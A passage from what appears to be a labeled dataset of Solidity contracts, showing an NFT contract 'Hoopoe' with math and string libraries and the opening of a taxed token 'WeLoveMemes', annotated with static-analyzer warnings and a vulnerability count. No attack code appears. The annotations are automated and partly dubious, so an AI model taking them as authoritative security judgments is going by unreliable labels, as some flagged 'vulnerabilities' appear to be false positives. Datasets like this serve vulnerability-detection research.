div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 4ee21ac\n\t\t\t// incorrect-exp | ID: 92f2d7e\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: aed77e9\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4a4e145\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0cf29bf\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: c2f5b88\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2fdc755\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5a4a63f\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8c0e26f\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 12eccfc): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for 12eccfc: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: 12eccfc\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: 12eccfc\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function ternary(\n bool condition,\n int256 a,\n int256 b\n ) internal pure returns (int256) {\n unchecked {\n return b ^ ((a ^ b) * int256(SafeCast.toUint(condition)));\n }\n }\n\n function max(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a > b, a, b);\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a < b, a, b);\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n int256 mask = n >> 255;\n\n return uint256((n + mask) ^ mask);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly (\"memory-safe\") {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly (\"memory-safe\") {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function toChecksumHexString(\n address addr\n ) internal pure returns (string memory) {\n bytes memory buffer = bytes(toHexString(addr));\n\n uint256 hashValue;\n\n assembly (\"memory-safe\") {\n hashValue := shr(96, keccak256(add(buffer, 0x22), 40))\n }\n\n for (uint256 i = 41; i > 1; --i) {\n if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) {\n buffer[i] ^= 0x20;\n }\n\n hashValue >>= 4;\n }\n\n return string(buffer);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\nabstract contract ERC721 is\n Context,\n ERC165,\n IERC721,\n IERC721Metadata,\n IERC721Errors\n{\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 tokenId => address) private _owners;\n\n mapping(address owner => uint256) private _balances;\n\n mapping(uint256 tokenId => address) private _tokenApprovals;\n\n mapping(address owner => mapping(address operator => bool))\n private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) {\n revert ERC721InvalidOwner(address(0));\n }\n\n return _balances[owner];\n }\n\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n return _requireOwned(tokenId);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual returns (string memory) {\n _requireOwned(tokenId);\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string.concat(baseURI, tokenId.toString())\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual {\n _approve(to, tokenId, _msgSender());\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual returns (address) {\n _requireOwned(tokenId);\n\n return _getApproved(tokenId);\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, _msgSender());\n\n if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual {\n transferFrom(from, to, tokenId);\n\n ERC721Utils.checkOnERC721Received(\n _msgSender(),\n from,\n to,\n tokenId,\n data\n );\n }\n\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n function _getApproved(\n uint256 tokenId\n ) internal view virtual returns (address) {\n return _tokenApprovals[tokenId];\n }\n\n function _isAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n return\n spender != address(0) &&\n (owner == spender ||\n isApprovedForAll(owner, spender) ||\n _getApproved(tokenId) == spender);\n }\n\n function _checkAuthorized(\n address owner,\n address spender,\n uint256 tokenId\n ) internal view virtual {\n if (!_isAuthorized(owner, spender, tokenId)) {\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else {\n revert ERC721InsufficientApproval(spender, tokenId);\n }\n }\n }\n\n function _increaseBalance(address account, uint128 value) internal virtual {\n unchecked {\n _balances[account] += value;\n }\n }\n\n function _update(\n address to,\n uint256 tokenId,\n address auth\n ) internal virtual returns (address) {\n address from = _ownerOf(tokenId);\n\n if (auth != address(0)) {\n _checkAuthorized(from, auth, tokenId);\n }\n\n if (from != address(0)) {\n _approve(address(0), tokenId, address(0), false);\n\n unchecked {\n _balances[from] -= 1;\n }\n }\n\n if (to != address(0)) {\n unchecked {\n _balances[to] += 1;\n }\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n return from;\n }\n\n function _mint(address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner != address(0)) {\n revert ERC721InvalidSender(address(0));\n }\n }\n\n function _safeMint(address to, uint256 tokenId) internal {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n\n ERC721Utils.checkOnERC721Received(\n _msgSender(),\n address(0),\n to,\n tokenId,\n data\n );\n }\n\n function _burn(uint256 tokenId) internal {\n address previousOwner = _update(address(0), tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n }\n\n function _transfer(address from, address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n\n address previousOwner = _update(to, tokenId, address(0));\n\n if (previousOwner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n function _safeTransfer(address from, address to, uint256 tokenId) internal {\n _safeTransfer(from, to, tokenId, \"\");\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n ERC721Utils.checkOnERC721Received(\n _msgSender(),\n from,\n to,\n tokenId,\n data\n );\n }\n\n function _approve(address to, uint256 tokenId, address auth) internal {\n _approve(to, tokenId, auth, true);\n }\n\n function _approve(\n address to,\n uint256 tokenId,\n address auth,\n bool emitEvent\n ) internal virtual {\n if (emitEvent || auth != address(0)) {\n address owner = _requireOwned(tokenId);\n\n if (\n auth != address(0) &&\n owner != auth &&\n !isApprovedForAll(owner, auth)\n ) {\n revert ERC721InvalidApprover(auth);\n }\n\n if (emitEvent) {\n emit Approval(owner, to, tokenId);\n }\n }\n\n _tokenApprovals[tokenId] = to;\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n if (operator == address(0)) {\n revert ERC721InvalidOperator(operator);\n }\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _requireOwned(uint256 tokenId) internal view returns (address) {\n address owner = _ownerOf(tokenId);\n\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n }\n\n return owner;\n }\n}\n\ninterface IERC721Enumerable is IERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256);\n\n function tokenByIndex(uint256 index) external view returns (uint256);\n}\n\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n mapping(address owner => mapping(uint256 index => uint256))\n private _ownedTokens;\n\n mapping(uint256 tokenId => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n\n mapping(uint256 tokenId => uint256) private _allTokensIndex;\n\n error ERC721OutOfBoundsIndex(address owner, uint256 index);\n\n error ERC721EnumerableForbiddenBatchMint();\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IERC721Enumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) public view virtual returns (uint256) {\n if (index >= balanceOf(owner)) {\n revert ERC721OutOfBoundsIndex(owner, index);\n }\n\n return _ownedTokens[owner][index];\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _allTokens.length;\n }\n\n function tokenByIndex(uint256 index) public view virtual returns (uint256) {\n if (index >= totalSupply()) {\n revert ERC721OutOfBoundsIndex(address(0), index);\n }\n\n return _allTokens[index];\n }\n\n function _update(\n address to,\n uint256 tokenId,\n address auth\n ) internal virtual override returns (address) {\n address previousOwner = super._update(to, tokenId, auth);\n\n if (previousOwner == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (previousOwner != to) {\n _removeTokenFromOwnerEnumeration(previousOwner, tokenId);\n }\n\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (previousOwner != to) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n\n return previousOwner;\n }\n\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = balanceOf(to) - 1;\n\n _ownedTokens[to][length] = tokenId;\n\n _ownedTokensIndex[tokenId] = length;\n }\n\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n\n _allTokens.push(tokenId);\n }\n\n function _removeTokenFromOwnerEnumeration(\n address from,\n uint256 tokenId\n ) private {\n uint256 lastTokenIndex = balanceOf(from);\n\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n mapping(uint256 index => uint256)\n storage _ownedTokensByOwner = _ownedTokens[from];\n\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokensByOwner[lastTokenIndex];\n\n _ownedTokensByOwner[tokenIndex] = lastTokenId;\n\n _ownedTokensIndex[lastTokenId] = tokenIndex;\n }\n\n delete _ownedTokensIndex[tokenId];\n\n delete _ownedTokensByOwner[lastTokenIndex];\n }\n\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n uint256 lastTokenIndex = _allTokens.length - 1;\n\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId;\n\n _allTokensIndex[lastTokenId] = tokenIndex;\n\n delete _allTokensIndex[tokenId];\n\n _allTokens.pop();\n }\n\n function _increaseBalance(\n address account,\n uint128 amount\n ) internal virtual override {\n if (amount > 0) {\n revert ERC721EnumerableForbiddenBatchMint();\n }\n\n super._increaseBalance(account, amount);\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Hoopoe is ERC721, ERC721Enumerable, Ownable {\n string baseURI;\n\n bool public frozen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1efe18d): Hoopoe.maxSupply should be constant \n\t// Recommendation for 1efe18d: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 100;\n\n constructor(\n string memory firstURI\n ) ERC721(\"Hoopoe \", \"HOO\") Ownable(msg.sender) {\n baseURI = firstURI;\n }\n\n function mint(uint256 quantity) external onlyOwner {\n require(\n totalSupply() + quantity <= maxSupply,\n \"NFTs have been fully minted.\"\n );\n\n uint256 tokenId = totalSupply() + 1;\n\n for (uint256 i = 0; i < quantity; i++) {\n _mint(msg.sender, tokenId);\n\n tokenId++;\n }\n }\n\n function setBaseURI(string memory newBaseURI) external onlyOwner {\n require(!frozen, \"Metadata is frozen and cannot be changed.\");\n\n baseURI = newBaseURI;\n }\n\n function freezeMetadata() external onlyOwner {\n require(!frozen, \"Metadata is already frozen.\");\n\n frozen = true;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n function _update(\n address to,\n uint256 tokenId,\n address auth\n ) internal override(ERC721, ERC721Enumerable) returns (address) {\n return super._update(to, tokenId, auth);\n }\n\n function _increaseBalance(\n address account,\n uint128 value\n ) internal override(ERC721, ERC721Enumerable) {\n super._increaseBalance(account, value);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}\n",
"file_name": "solidity_code_10574.sol",
"size_bytes": 56664,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WeLoveMemes is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 195edf4): WeLoveMemes._taxWallet should be immutable \n\t// Recommendation for 195edf4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d25482): WeLoveMemes._initialBuyTax should be constant \n\t// Recommendation for 8d25482: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f576c4): WeLoveMemes._initialSellTax should be constant \n\t// Recommendation for 2f576c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f727e61): WeLoveMemes._reduceBuyTaxAt should be constant \n\t// Recommendation for f727e61: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3586908): WeLoveMemes._reduceSellTaxAt should be constant \n\t// Recommendation for 3586908: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b6a38e): WeLoveMemes._preventSwapBefore should be constant \n\t// Recommendation for 7b6a38e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"We Love Memes\";\n\n string private constant _symbol = unicode\"WLM\";\n\n uint256 public _maxTxAmount = 1380000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb31fc): WeLoveMemes._taxSwapThreshold should be constant \n\t// Recommendation for 4cb31fc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1358655): WeLoveMemes._maxTaxSwap should be constant \n\t// Recommendation for 1358655: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1380000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = 